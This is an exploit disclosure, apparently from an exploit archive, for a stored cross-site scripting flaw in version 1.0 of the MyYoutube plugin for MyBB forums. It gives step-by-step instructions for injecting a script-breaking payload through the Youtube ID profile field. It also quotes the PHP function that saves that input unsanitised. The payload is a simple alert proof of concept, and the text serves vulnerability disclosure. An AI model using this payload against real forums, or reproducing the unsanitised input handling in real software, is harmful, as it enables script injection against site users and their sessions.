MyBB MyYoutube Cross Site Scripting

`# Exploit Title: MyYoutube MyBB Stored XSS  
# Date: 17.12.2012  
# Exploit Author: limb0  
# Vendor Homepage: http://www.mybb-es.com/  
# Software Link: http://mods.mybb.com/view/myyoutube  
# Version: 1.0  
# Category:Web Security  
# Tested on: Linux  
  
+-----------------------------------------------------+  
Stored-XSS  
  
Installation Instructions:  
1.Download and Activate the Plugin  
2.Go to Usercp >> Edit Profile >> Youtube ID:  
3.Inject your code: "></embed></object><script>alert("Youtube XSS")</script>  
4.Visit your profile and voila.  
  
Proof:http://postimage.org/image/lnnmc80rp/  
+------------------------------------------------------+  
Vulnerable lines:  
function youtube_update($ytb)  
{  
global $mybb;  
if(isset($mybb->input['ytb']))  
{  
$ytb->user_update_data['ytb'] = $mybb->input['ytb'];  
}  
}  
  
  
`